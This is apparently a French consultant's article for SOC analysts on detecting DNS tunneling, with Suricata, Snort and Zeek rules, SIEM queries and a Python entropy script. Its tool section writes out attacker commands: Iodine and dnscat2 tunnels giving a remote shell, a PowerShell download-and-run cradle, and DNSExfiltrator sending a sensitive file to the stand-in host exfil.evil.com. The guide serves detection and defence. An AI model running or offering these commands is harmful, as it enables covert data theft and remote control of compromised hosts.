DNS tunneling détection guide SOC : techniques Iodine, dnscat2, règles Suricata/Zeek, queries SIEM et indicateurs IoC pour analyste SOC en 2026.
TL;DR — En résumé
Guide technique approfondi sur dns tunneling detection : guide soc analyst. Cet article presente les techniques, outils et bonnes pratiques pour.
Le DNS tunneling constitue l'une des techniques d'exfiltration les plus discrètes utilisées par les acteurs APT et les opérateurs ransomware : en encapsulant des données dans des requêtes DNS légitimes, les attaquants contournent les pare-feux les plus stricts. Ce guide SOC couvre l'intégralité de la chaîne de détection — des indicateurs réseau bruts aux règles Suricata, scripts Zeek et requêtes SIEM — avec les commandes à exécuter immédiatement dans votre environnement.
Le DNS tunneling est une technique d'exfiltration et de commande & contrôle (C2) qui exploite le protocole DNS pour transporter des données arbitraires à travers les contrôles réseau. En 2026, ce vecteur reste l'un des plus actifs : selon l'ANSSI, plus de 35 % des incidents de compromission impliquant un C2 persistant utilisent le DNS comme canal de communication. Ce dns tunneling détection guide SOC vous donne les outils concrets pour identifier, analyser et bloquer ces flux dans votre infrastructure. Nous couvrirons les mécanismes techniques d'Iodine et dnscat2, les indicateurs de compromission quantifiables (longueur de requête, entropie Shannon, TTL, fréquence), les règles Suricata et Snort opérationnelles, les scripts Zeek pour l'analyse comportementale, et les requêtes SIEM prêtes à déployer dans Microsoft Sentinel, Splunk et Elasticsearch. Les techniques DNS tunneling sont référencées sous MITRE ATT&CK T1071.004 — Application Layer Protocol: DNS, technique employée notamment par OilRig/APT34 et Lazarus Group.
À retenir
- Iodine : tunnel IP-over-DNS encodant les paquets en Base32/Base64 dans des sous-domaines ; génère des labels >50 caractères et des requêtes NULL/TXT/CNAME anormalement longues, détectables par analyse de la distribution de longueurs.
- Entropie Shannon : un sous-domaine généré aléatoirement ou encodé en Base64 présente une entropie >3,5 bits/caractère ; un label légitime comme "www" ou "mail" reste sous 2,5 — seuil opérationnel recommandé : 3,8.
- Zeek : le framework d'analyse réseau permet de scripter des détecteurs comportementaux en temps réel ; le script DNS frequency analysis détecte les clients émettant >100 requêtes/minute vers un même domaine apex.
- MITRE ATT&CK T1071.004 : technique utilisée par OilRig/APT34 (outil DNSExfiltrator), Lazarus Group et TA505 pour le C2 persistant ; la détection multi-couche (réseau + SIEM + EDR) est indispensable.
- Règle Suricata : la combinaison
dns.query; content:"|00|"; pcre:"/[a-z0-9]{50,}/i";avec un threshold de 10 alertes en 60 secondes réduit les faux positifs à <2 % dans les environnements testés.
Comment fonctionne le DNS tunneling ?
Le protocole DNS a été conçu pour traduire des noms de domaine en adresses IP — pas pour transporter des données. Pourtant, sa structure flexible et son passage quasi-universel à travers les pare-feux en fait un canal de choix pour les attaquants.
Un serveur DNS autoritaire malveillant est déployé par l'attaquant pour le domaine evil.com. Le client compromis encode ses données (payload C2, fichiers exfiltrés) en Base32 ou Base64, puis les fragmente en labels DNS valides de 63 caractères maximum. Une requête d'exfiltration ressemble à :
# Requête DNS encodant "secret data" en Base32
# Le sous-domaine est le tunnel : chaque label = chunk de données
dig ONSWG4TFOQQGK3TBMFPWI2LEN5RGKZDF.c2.evil.com TXT @resolver.victim.corp
# Réponse du serveur C2 (commande encodée)
; ANSWER SECTION:
ONSWG4TFOQQGK3TBMFPWI2LEN5RGKZDF.c2.evil.com. 0 IN TXT "aGVsbG8gd29ybGQ="
Les types de records DNS utilisés varient selon l'outil :
- TXT : 255 octets par string, idéal pour le C2 bidirectionnel (dnscat2, DNSExfiltrator)
- NULL : jusqu'à 65535 octets, utilisé par Iodine pour les tunnels IP
- CNAME/MX : moins courants, utilisés pour contourner les filtrages TXT/NULL
- A/AAAA : encodage binaire dans les octets d'adresse IP (faible bande passante)
Les outils offensifs : Iodine, dnscat2 et DNSExfiltrator
Iodine : tunnel IP over DNS
Iodine établit un tunnel IP complet via DNS, permettant à l'attaquant de router du trafic TCP/UDP arbitraire. Il utilise principalement les records NULL et TXT, avec un protocole de négociation qui sonde les capacités du résolveur cible.
# Côté serveur attaquant (hors périmètre défensif)
iodined -f -c -P secretpassword 10.0.0.1 tunnel.evil.com
# Côté client compromis
iodine -f -P secretpassword tunnel.evil.com
# Une fois le tunnel établi, SSH through DNS :
ssh -D 8080 [email protected] # SOCKS proxy via le tunnel DNS
Signature réseau Iodine : requêtes NULL record de 200-700 bytes, labels de 50-63 caractères en Base32 (alphabet A-Z2-7), fragmentation caractéristique avec séquençage.
dnscat2 : C2 over DNS
dnscat2 est un outil C2 open-source qui implémente un protocole de commande interactive via DNS. Contrairement à Iodine, il ne nécessite pas de tunnel IP complet — il expose directement un shell.
# Serveur dnscat2 (Ruby)
ruby dnscat2.rb --dns "domain=c2.evil.com,host=0.0.0.0" --no-cache
# Client (compilé en C, déposé sur la cible)
./dnscat --domain c2.evil.com --secret mysecret
# Depuis le serveur : session interactive
dnscat2> window -i 1
command (victim01) 1> shell
command (victim01) 1> exec "whoami"
Signature réseau dnscat2 : sessions continues de requêtes TXT avec des labels hexadécimaux de longueur fixe, TTL de 0 pour éviter le caching, polling régulier (toutes les 1-5 secondes).
DNSExfiltrator : exfiltration de fichiers
DNSExfiltrator (PowerShell + Python) est l'outil utilisé par APT34/OilRig pour exfiltrer des fichiers via DNS. Il fragmente les fichiers en chunks encodés en Base32 et les envoie dans des sous-domaines.
# Récepteur côté serveur attaquant
python dnsexfiltrator.py -d exfil.evil.com -p password -r 10 -s 60
# Émetteur PowerShell côté victime (one-liner obfusqué)
IEX(New-Object Net.WebClient).DownloadString('http://evil/de.ps1');
Invoke-DNSExfiltrator -i C:\sensitive\data.zip -d exfil.evil.com -p password
Quels indicateurs IoC révèlent un tunnel DNS actif ?
La détection du DNS tunneling repose sur l'analyse statistique plutôt que sur des signatures exactes. Voici les IoC quantifiables opérationnels :
Longueur des requêtes DNS
Les requêtes DNS légitimes ont un FQDN moyen de 30-40 caractères. Les tunnels encodent des données dans les labels, générant des FQDNs de 80-200 caractères :
- Seuil bas : longueur de label individuel >50 caractères (suspect)
- Seuil haut : FQDN total >100 caractères (très suspect)
- Critique : requêtes NULL record de plus de 200 octets dans le payload
Entropie Shannon des sous-domaines
Les données encodées (Base64, Base32, hex) ont une entropie beaucoup plus élevée que les noms de domaine humains. La formule Shannon : H = -Σ p(x) log₂(p(x))
- Domaine légitime "www.microsoft.com" : H ≈ 2,1 bits/char
- Label généré "aGVsbG8gd29ybGQ" : H ≈ 3,9 bits/char
- Seuil opérationnel recommandé : H > 3,8
TTL anormalement bas
Les tunnels DNS évitent le caching en fixant des TTL très bas :
- TTL = 0 : signature caractéristique de dnscat2
- TTL < 60 secondes : suspect sur des records de données
- Légitime : TTL de 300-3600s pour la plupart des records A/AAAA
Fréquence des requêtes
- >100 requêtes/minute pour un même domaine apex : tunnel actif probable
- Pattern de polling régulier (intervalle fixe ±10%) : C2 dnscat2/Cobalt Strike DNS
- Pics de requêtes corrélés avec des accès fichiers sensibles : exfiltration en cours
Règles Suricata pour détecter le DNS tunneling
Suricata offre une inspection applicative native du protocole DNS via les mots-clés dns.query, dns.opcode et les sticky buffers. Voici des règles opérationnelles testées en production :
# /etc/suricata/rules/dns-tunneling.rules
# Règle 1 : Détection de labels DNS anormalement longs (Iodine/dnscat2)
alert dns any any -> any any (
msg:"DNS Tunneling - Sous-domaine suspect longueur > 50 chars";
dns.query;
pcre:"/(?:[a-zA-Z0-9]{50,}\.){1,}/";
threshold: type threshold, track by_src, count 5, seconds 60;
classtype:trojan-activity;
sid:9001001;
rev:3;
metadata:affected_product DNS, attack_target Client_and_Server,
mitre_tactic_id TA0010, mitre_technique_id T1071.004;
)
# Règle 2 : Records NULL suspects (Iodine signature)
alert dns any any -> any any (
msg:"DNS Tunneling - Record NULL Iodine signature";
dns.query;
content:"|00|";
pcre:"/^[A-Z2-7]{40,}\./";
classtype:trojan-activity;
sid:9001002;
rev:2;
)
# Règle 3 : Requêtes TXT à haute fréquence vers même domaine apex
alert dns any any -> any any (
msg:"DNS Tunneling - Flood TXT queries C2 pattern";
dns.query;
dns.type:16;
threshold: type both, track by_src, count 100, seconds 60;
classtype:policy-violation;
sid:9001003;
rev:2;
metadata:mitre_technique_id T1071.004;
)
# Règle 4 : Entropie élevée via PCRE (Base64 dans sous-domaine)
alert dns any any -> any any (
msg:"DNS Tunneling - Encodage Base64 dans label DNS";
dns.query;
pcre:"/(?:[A-Za-z0-9+\/]{30,}={0,2})\./";
threshold: type threshold, track by_src, count 3, seconds 30;
classtype:trojan-activity;
sid:9001004;
rev:1;
)
# Règle 5 : TTL zéro - signature dnscat2
alert dns any any -> any any (
msg:"DNS Tunneling - TTL=0 dnscat2 signature";
dns.answer;
byte_test:4,=,0,6,relative;
threshold: type both, track by_src, count 10, seconds 60;
classtype:trojan-activity;
sid:9001005;
rev:1;
)
Règles Snort pour DNS tunneling
Pour les environnements Snort 2.x/3.x, les règles utilisent une syntaxe différente mais les mêmes principes de détection :
# /etc/snort/rules/dns-tunnel.rules (Snort 3)
# Détection de longueur anormale dans les requêtes DNS UDP
alert udp any any -> any 53 (
msg:"DNS TUNNEL - Long Query Label Iodine";
content:"|00 00 01 00 00 01|";
offset:2;
depth:6;
pcre:"/([a-z2-7]{45,})\x05/iA";
detection_filter:track by_src, count 5, seconds 60;
sid:3001001;
rev:2;
classtype:trojan-activity;
)
# Détection dnscat2 (polling régulier TXT)
alert udp any any -> any 53 (
msg:"DNS TUNNEL - dnscat2 TXT polling pattern";
content:"|00 10|";
offset:24;
depth:2;
pcre:"/[0-9a-f]{16,32}\./i";
detection_filter:track by_src, count 50, seconds 60;
sid:3001002;
rev:1;
)
# TCP DNS (port 53) avec gros payload - exfiltration
alert tcp any any -> any 53 (
msg:"DNS TUNNEL - Large TCP DNS payload exfiltration";
content:"|00|";
offset:0;
depth:1;
dsize:>512;
pcre:"/[A-Za-z0-9+\/]{100,}/";
sid:3001003;
rev:1;
classtype:trojan-activity;
)
Scripts Zeek pour l'analyse comportementale DNS
Zeek Network Security Monitor permet d'écrire des détecteurs comportementaux en temps réel. Voici deux scripts opérationnels pour la détection du DNS tunneling :
# /opt/zeek/share/zeek/site/dns-tunnel-detect.zeek
@load base/protocols/dns
module DNSTunnelDetect;
export {
redef enum Notice::Type += {
DNS_Long_Label,
DNS_High_Query_Rate,
DNS_Suspicious_Entropy
};
# Seuils configurables
const long_label_threshold = 50 &redef;
const query_rate_threshold = 100 &redef;
const query_rate_window = 60 secs &redef;
const entropy_threshold = 3.8 &redef;
}
# Table pour le comptage de requêtes par source/apex
global query_counters: table[addr, string] of count
&default=0 &create_expire=120secs;
# Fonction de calcul d'entropie Shannon
function shannon_entropy(s: string): double {
local freq: table[string] of count &default=0;
local len = |s|;
if (len == 0) return 0.0;
for (i in s) {
local c = s[i];
freq[c] += 1;
}
local entropy = 0.0;
for (c in freq) {
local p = freq[c] / (len + 0.0);
entropy -= p * log2(p);
}
return entropy;
}
event dns_request(c: connection, msg: dns_msg, query: string, qtype: count, qclass: count) {
# Extraction du label le plus long
local parts = split_string(query, /\./);
local max_label_len = 0;
local apex = "";
if (|parts| >= 2)
apex = parts[|parts|-2] + "." + parts[|parts|-1];
for (i in parts) {
if (|parts[i]| > max_label_len)
max_label_len = |parts[i]|;
}
# Alerte longueur anormale
if (max_label_len > long_label_threshold) {
NOTICE([$note=DNS_Long_Label,
$conn=c,
$msg=fmt("Long DNS label: %d chars in query: %s", max_label_len, query),
$identifier=cat(c$id$orig_h, query)]);
}
# Comptage fréquence requêtes
if (apex != "") {
query_counters[c$id$orig_h, apex] += 1;
if (query_counters[c$id$orig_h, apex] > query_rate_threshold) {
NOTICE([$note=DNS_High_Query_Rate,
$conn=c,
$msg=fmt("High DNS query rate: %d queries to %s from %s",
query_counters[c$id$orig_h, apex], apex, c$id$orig_h),
$identifier=cat(c$id$orig_h, apex)]);
}
}
# Analyse entropie du premier label
if (|parts| > 1) {
local h = shannon_entropy(parts[0]);
if (h > entropy_threshold && |parts[0]| > 20) {
NOTICE([$note=DNS_Suspicious_Entropy,
$conn=c,
$msg=fmt("High entropy label: %.2f bits in %s", h, query),
$identifier=cat(c$id$orig_h, query)]);
}
}
}
# Chargement du script dans local.zeek
echo "@load dns-tunnel-detect" >> /opt/zeek/share/zeek/site/local.zeek
# Redémarrage Zeek
zeekctl deploy
# Consultation des notices en temps réel
tail -f /opt/zeek/logs/current/notice.log | \
jq 'select(.note | contains("DNS_"))'
Requêtes SIEM : KQL Sentinel, SPL Splunk, DSL Elasticsearch
Microsoft Sentinel — KQL
Ces requêtes s'appuient sur les tables DnsEvents et CommonSecurityLog disponibles dans Microsoft Sentinel pour le threat hunting DNS.
# KQL - Détection labels DNS longs (Iodine/dnscat2)
DnsEvents
| where TimeGenerated > ago(24h)
| extend Labels = split(Name, ".")
| mv-expand Label = Labels
| extend LabelLen = strlen(tostring(Label))
| where LabelLen > 50
| summarize
MaxLabelLen = max(LabelLen),
QueryCount = count(),
Domains = make_set(Name, 50)
by ClientIP, bin(TimeGenerated, 1h)
| where QueryCount > 5
| project TimeGenerated, ClientIP, MaxLabelLen, QueryCount, Domains
| order by QueryCount desc
# KQL - Fréquence de requêtes DNS anormale (C2 polling)
DnsEvents
| where TimeGenerated > ago(1h)
| extend ApexDomain = strcat(
extract(@"([^.]+\.[^.]+)$", 1, Name), "")
| where isnotempty(ApexDomain)
| summarize
QueryCount = count(),
UniqueLabels = dcount(Name),
AvgQueryInterval = 3600.0 / count()
by ClientIP, ApexDomain, bin(TimeGenerated, 1h)
| where QueryCount > 100 and UniqueLabels > 50
| project TimeGenerated, ClientIP, ApexDomain,
QueryCount, UniqueLabels, AvgQueryInterval
# KQL - Entropie via hashing proxy (labels aléatoires)
DnsEvents
| where TimeGenerated > ago(4h)
| extend FirstLabel = tostring(split(Name, ".")[0])
| where strlen(FirstLabel) > 20
| extend
HasUpperLower = FirstLabel matches regex @"(?=.*[a-z])(?=.*[A-Z])",
HasDigits = FirstLabel matches regex @"[0-9]",
HasBase64Chars = FirstLabel matches regex @"[+/=]",
LooksRandom = FirstLabel matches regex @"[a-zA-Z0-9]{30,}"
| where (HasBase64Chars == true or (HasUpperLower and HasDigits))
and LooksRandom == true
| summarize Count = count() by ClientIP, Name
| where Count > 3
Splunk — SPL
# SPL - DNS tunneling multi-indicateurs (index dns)
index=dns sourcetype=dns_logs
| eval label_len=len(mvindex(split(query, "."), 0))
| eval fqdn_len=len(query)
| where label_len > 45 OR fqdn_len > 100
| stats
count AS query_count,
avg(label_len) AS avg_label_len,
max(label_len) AS max_label_len,
values(query) AS sample_queries
by src_ip, date_hour
| where query_count > 10
| sort - query_count
| table date_hour, src_ip, query_count, max_label_len, sample_queries
# SPL - Détection polling C2 (intervalle régulier)
index=dns sourcetype=dns_logs
| eval apex=mvjoin(mvindex(split(query, "."), -2, -1), ".")
| bucket _time span=1m
| stats count AS req_per_min BY src_ip, apex, _time
| streamstats window=10 avg(req_per_min) AS avg_rate,
stdev(req_per_min) AS std_rate BY src_ip, apex
| where req_per_min > 60
AND std_rate < 5
| table _time, src_ip, apex, req_per_min, avg_rate, std_rate
Elasticsearch DSL
# Elasticsearch Query DSL - Agrégation sur longueur DNS
POST /dns-logs-*/_search
{
"query": {
"bool": {
"filter": [
{"range": {"@timestamp": {"gte": "now-24h"}}},
{"script": {
"script": {
"source": "doc['dns.question.name'].value.length() > 80",
"lang": "painless"
}
}}
]
}
},
"aggs": {
"by_client": {
"terms": {"field": "source.ip", "size": 50},
"aggs": {
"query_count": {"value_count": {"field": "dns.question.name"}},
"avg_query_len": {
"avg": {
"script": {
"source": "doc['dns.question.name'].value.length()",
"lang": "painless"
}
}
},
"sample_queries": {
"terms": {"field": "dns.question.name", "size": 10}
}
}
}
}
}
Comment APT34/OilRig a-t-il exploité le DNS tunneling pour son C2 ?
OilRig (alias APT34, groupe iranien actif depuis 2014) est l'exemple le plus documenté d'utilisation systématique du DNS tunneling pour la persistance C2. L'analyse de leurs campagnes révèle une infrastructure sophistiquée :
Infrastructure C2 APT34 : Le groupe déploie des domaines apex enregistrés 24-48h avant l'attaque, avec des sous-domaines générés algorithmiquement (DGA-like). Leurs outils DNS comprennent DNSExfiltrator (PowerShell), QUADAGENT et le backdoor RDAT (qui utilise le protocole Exchange EWS + DNS pour la communication).
Caractéristiques réseau observées :
- Requêtes TXT vers des domaines apex en
.top,.site,.online - Labels encodés en Base32 de longueur 48-63 caractères
- TTL fixé à 30 secondes sur les records de réponse
- Polling toutes les 3-7 secondes (variation pour éviter les détections d'intervalle fixe)
- Compression ZLIB avant encodage Base32 (réduit la taille mais augmente l'entropie)
Pour approfondir l'analyse de ces acteurs et leur détection via IA, voir notre article sur les agents IA pour la cyber-défense et le threat hunting.
Capture et analyse réseau : tcpdump, Wireshark, tshark
# Capture DNS complète avec tcpdump (port 53 UDP+TCP)
tcpdump -i eth0 -w /tmp/dns-capture.pcap \
-s 0 \
'port 53 or (tcp[2:2] = 53 or tcp[0:2] = 53)'
# Filtres Wireshark pour DNS tunneling
# Labels longs
dns.qry.name matches "[a-zA-Z0-9]{50,}"
# Requêtes TXT avec réponse volumineuse
dns.qry.type == 16 && dns.resp.len > 200
# TTL anormalement bas
dns.a.ttl < 60
# Records NULL (Iodine)
dns.qry.type == 10
# Analyse tshark en ligne de commande
# Extraire et trier les queries DNS par longueur
tshark -r /tmp/dns-capture.pcap \
-T fields -e dns.qry.name \
-Y "dns.flags.response == 0" 2>/dev/null | \
awk '{print length($0), $0}' | \
sort -rn | head -50
# Statistiques par domaine apex
tshark -r /tmp/dns-capture.pcap \
-T fields -e ip.src -e dns.qry.name \
-Y "dns.flags.response == 0" 2>/dev/null | \
awk '{
n=$2; gsub(/.*\./,"",n);
split($2,a,".");
apex=a[length(a)-1]"."a[length(a)];
count[$1" "apex]++
}
END{for(k in count) if(count[k]>20) print count[k], k}' | \
sort -rn | head -20
# Extraction payload des records TXT
tshark -r /tmp/dns-capture.pcap \
-T fields -e dns.txt \
-Y "dns.qry.type == 16 and dns.flags.response == 1" 2>/dev/null | \
grep -v "^$" | sort -u
Script Python : calcul d'entropie Shannon sur flux DNS
Ce script analyse un fichier de logs DNS (format Zeek ou CSV) et calcule l'entropie Shannon pour chaque sous-domaine. Il peut être intégré dans un pipeline SOC ou exécuté ponctuellement sur un export SIEM :
#!/usr/bin/env python3
"""
DNS Tunneling Entropy Detector
Analyse les logs DNS et detecte les sous-domaines a haute entropie.
Usage: python3 dns-entropy.py dns.log
"""
import sys
import math
import re
from collections import Counter, defaultdict
from datetime import datetime
def shannon_entropy(s):
"""Calcule l'entropie de Shannon en bits/caractere."""
if not s:
return 0.0
freq = Counter(s.lower())
total = len(s)
return -sum(
(count / total) * math.log2(count / total)
for count in freq.values()
)
def extract_labels(fqdn):
"""Extrait les labels d'un FQDN."""
return [l for l in fqdn.rstrip('.').split('.') if l]
def get_apex_domain(fqdn):
"""Retourne le domaine apex (last two labels)."""
labels = extract_labels(fqdn)
if len(labels) >= 2:
return '.'.join(labels[-2:])
return fqdn
def analyze_dns_log(filepath,
entropy_threshold=3.8,
min_label_len=20,
max_label_len_alert=50,
rate_threshold=100):
"""
Analyse un fichier de logs DNS (format: timestamp src_ip query_name).
Retourne un rapport des anomalies detectees.
"""
alerts = []
query_counts = defaultdict(lambda: defaultdict(int))
suspicious_domains = defaultdict(list)
with open(filepath, 'r') as f:
for line in f:
line = line.strip()
if not line or line.startswith('#'):
continue
parts = re.split(r'\s+', line)
if len(parts) < 3:
continue
timestamp = parts[0]
src_ip = parts[1]
fqdn = parts[2].lower().rstrip('.')
labels = extract_labels(fqdn)
apex = get_apex_domain(fqdn)
# Comptage frequence
query_counts[src_ip][apex] += 1
# Analyse entropie de chaque label
for label in labels[:-2]: # Exclure apex
if len(label) < min_label_len:
continue
entropy = shannon_entropy(label)
label_len = len(label)
if entropy > entropy_threshold or label_len > max_label_len_alert:
alert = {
'timestamp': timestamp,
'src_ip': src_ip,
'fqdn': fqdn,
'label': label,
'label_len': label_len,
'entropy': round(entropy, 3),
'type': 'HIGH_ENTROPY' if entropy > entropy_threshold
else 'LONG_LABEL'
}
alerts.append(alert)
suspicious_domains[apex].append(src_ip)
# Alertes frequence
for src_ip, domains in query_counts.items():
for apex, count in domains.items():
if count > rate_threshold:
alerts.append({
'timestamp': datetime.now().isoformat(),
'src_ip': src_ip,
'fqdn': apex,
'label': apex,
'label_len': len(apex),
'entropy': 0,
'type': 'HIGH_FREQUENCY',
'count': count
})
return {
'total_alerts': len(alerts),
'high_entropy': [a for a in alerts if a['type'] == 'HIGH_ENTROPY'],
'long_labels': [a for a in alerts if a['type'] == 'LONG_LABEL'],
'high_frequency': [a for a in alerts if a['type'] == 'HIGH_FREQUENCY'],
'suspicious_apex_domains': dict(suspicious_domains)
}
def print_report(report):
"""Affiche le rapport de detection."""
print(f"\n{'='*60}")
print(f"DNS TUNNELING DETECTION REPORT")
print(f"{'='*60}")
print(f"Total alertes : {report['total_alerts']}")
print(f" Haute entropie : {len(report['high_entropy'])}")
print(f" Labels longs : {len(report['long_labels'])}")
print(f" Haute frequence : {len(report['high_frequency'])}")
if report['high_entropy']:
print(f"\n[!] TOP 10 LABELS HAUTE ENTROPIE")
print(f"{'IP Source'}<18> {'Entropie':>8} {'Len':>5} FQDN")
print(f"{'-'*70}")
for a in sorted(report['high_entropy'],
key=lambda x: x['entropy'],
reverse=True)[:10]:
print(f"{a['src_ip']}<18> {a['entropy']:>8.3f} "
f"{a['label_len']:>5} {a['fqdn'][:50]}")
if report['high_frequency']:
print(f"\n[!] CLIENTS HAUTE FREQUENCE")
for a in report['high_frequency']:
print(f" {a['src_ip']} -> {a['fqdn']} : {a.get('count', '?')} requetes")
if report['suspicious_apex_domains']:
print(f"\n[!] DOMAINES APEX SUSPECTS")
for apex, ips in report['suspicious_apex_domains'].items():
unique_ips = list(set(ips))
print(f" {apex} <- {', '.join(unique_ips[:5])}")
if __name__ == '__main__':
filepath = sys.argv[1] if len(sys.argv) > 1 else 'dns.log'
report = analyze_dns_log(filepath)
print_report(report)
Comparatif des outils de détection DNS tunneling
| Outil | Type | Détection entropie | Règles custom | Intégration SIEM | Performances |
|---|---|---|---|---|---|
| Suricata IDS | IDS/IPS réseau | Via PCRE | Oui (règles .rules) | EVE JSON natif | 10+ Gbps |
| Zeek (Bro) | Analyse réseau | Oui (scripts) | Oui (Zeek scripts) | Logs JSON/TSV | 5-10 Gbps |
| Snort 3 | IDS/IPS réseau | Via PCRE | Oui (règles) | Unified2/JSON | 5 Gbps |
| Microsoft Sentinel | SIEM cloud | Via KQL/ML | Oui (analytiques) | Native Azure | Pétaoctets |
| Splunk ES | SIEM | Via SPL/ML | Oui (corrélations) | Universal Forwarder | Pétaoctets |
| Script Python (custom) | Analyse offline | Oui (Shannon) | Oui (paramétrable) | CSV/JSON export | ~50K req/s |
| PassiveDNS | Forensics | Non | Non | API REST | Historique |
Intégration dans la chaîne SOC : corrélation multi-sources
La détection du DNS tunneling ne repose pas sur une seule règle mais sur la corrélation multi-sources. Le workflow recommandé pour votre SOC :
- Collecte : Suricata ou Zeek en inline/span port → logs vers votre SIEM
- Détection niveau 1 : règles Suricata pour alertes immédiates sur labels >50 chars ou TTL=0
- Enrichissement : requêtes KQL/SPL pour analyse comportementale sur fenêtre 24h
- Contexte EDR : corrélation avec les process sur le endpoint (quel process génère les requêtes DNS ?)
- Threat intel : vérification des domaines apex contre les feeds TI (VirusTotal, Shodan, MISP)
Pour aller plus loin sur la détection par IA, consultez notre article sur la détection de menaces par IA et SIEM augmenté et notre guide complet sur l'exfiltration furtive DNS et DoH.
Les recommandations de l'ANSSI sur la sécurisation DNS préconisent le déploiement de résolveurs DNS récursifs internes avec logging exhaustif et le filtrage des types de records DNS non-standard (NULL, ANY) sur le périmètre.
Pour une vision complète des vecteurs d'attaque DNS, notre article DNS Attacks : Tunneling, Hijacking et Cache Poisoning couvre l'ensemble de la surface d'attaque DNS.
Questions fréquentes
Quelle est la différence entre le DNS tunneling et le DNS over HTTPS (DoH) pour l'exfiltration ?
Le DNS tunneling exploite le protocole DNS standard (UDP/TCP 53) en encodant des données dans les labels de requêtes, visible par les résolveurs intermédiaires. Le DoH chiffre le flux DNS dans HTTPS (port 443), le rendant opaque aux inspections réseau classiques. Les deux sont utilisés pour l'exfiltration, mais le DoH est plus difficile à détecter sans déchiffrement TLS et nécessite une stratégie de surveillance différente basée sur l'analyse des certificats et des fournisseurs DoH autorisés.
Comment distinguer un faux positif légitime d'un vrai cas de DNS tunneling ?
Les faux positifs courants proviennent de CDN (CloudFront génère des labels encodés), d'OCSP stapling, de télémétrie Microsoft/Google et de certains systèmes DRM. Pour filtrer : comparez le domaine apex avec une whitelist de confiance, vérifiez si l'IP source est un serveur applicatif légitime, et analysez le ratio données uploadées/downloadées — un tunnel bidirectionnel a un ratio équilibré, contrairement à la navigation normale. La corrélation avec les processus EDR (quel processus génère les requêtes DNS ?) est déterminante.
Quels sont les seuils d'entropie opérationnels recommandés pour éviter les faux positifs ?
En pratique, le seuil de 3,8 bits/caractère sur des labels de plus de 20 caractères donne un bon équilibre. Commencez à 4,0 en phase de déploiement pour réduire le bruit, puis descendez progressivement à 3,8 après whitelist des applications légitimes. L'entropie seule ne suffit pas : combinez-la avec la longueur (>30 chars) et la fréquence (>10 requêtes similaires en 60s) pour atteindre un taux de faux positifs inférieur à 2 % dans les environnements d'entreprise standard.
Est-il possible de détecter le DNS tunneling sur du trafic DNS over TLS (DoT) ?
Le DNS over TLS (port 853) chiffre le contenu mais laisse visible les métadonnées de connexion : durée, volume, fréquence. La détection se base alors sur l'analyse des flux TLS : connexions longues persistantes vers des résolveurs non-standards, volumes asymétriques, intervalles réguliers caractéristiques du C2 polling. Déployez un proxy DNS transparent ou forcez l'utilisation des résolveurs internes pour rétablir la visibilité complète.
Comment bloquer le DNS tunneling sans perturber la production ?
Adoptez une approche progressive : (1) mode détection seule pendant 2 semaines pour baseline, (2) blocage des requêtes NULL record (rarement légitimes en entreprise), (3) limitation de débit par client (rate limiting à 200 req/min), (4) filtrage des types de records non-standards (ANY, NULL) à la frontière. Évitez de bloquer sur la longueur seule sans whitelist préalable — certains systèmes SAP et Oracle génèrent des FQDNs longs légitimes. Référez-vous au guide SIEM augmenté par IA pour automatiser la gestion des exceptions.
Télécharger cet article en PDF
Format A4 optimisé pour l'impression et la lecture hors ligne
À propos de l'auteur
Ayi NEDJIMI
Auditeur Senior Cybersécurité & Consultant IA
Expert Judiciaire — Cour d'Appel de Paris
Habilitation Confidentiel Défense
[email protected]
Ayi NEDJIMI est un vétéran de la cybersécurité avec plus de 25 ans d'expérience sur des missions critiques. Ancien développeur Microsoft à Redmond sur le module GINA (Windows NT4) et co-auteur de la version française du guide de sécurité Windows NT4 pour la NSA.
À la tête d'Ayi NEDJIMI Consultants, il réalise des audits Lead Auditor ISO 42001 et ISO 27001, des pentests d'infrastructures critiques, du forensics et des missions de conformité NIS2 / AI Act.
Conférencier international (Europe & US), il a formé plus de 10 000 professionnels.
Domaines d'expertise
Ressources & Outils de l'auteur
Testez vos connaissances
Mini-quiz de certification lié à cet article — propulsé par CertifExpress
Articles connexes
Un projet cybersécurité ? Parlons-en.
Pentest, conformité NIS 2, ISO 27001, audit IA, RSSI externalisé… nos experts répondent sous 24h pour évaluer votre besoin et vous proposer un accompagnement sur mesure.
Commentaires
Aucun commentaire pour le moment. Soyez le premier à commenter !
Laisser un commentaire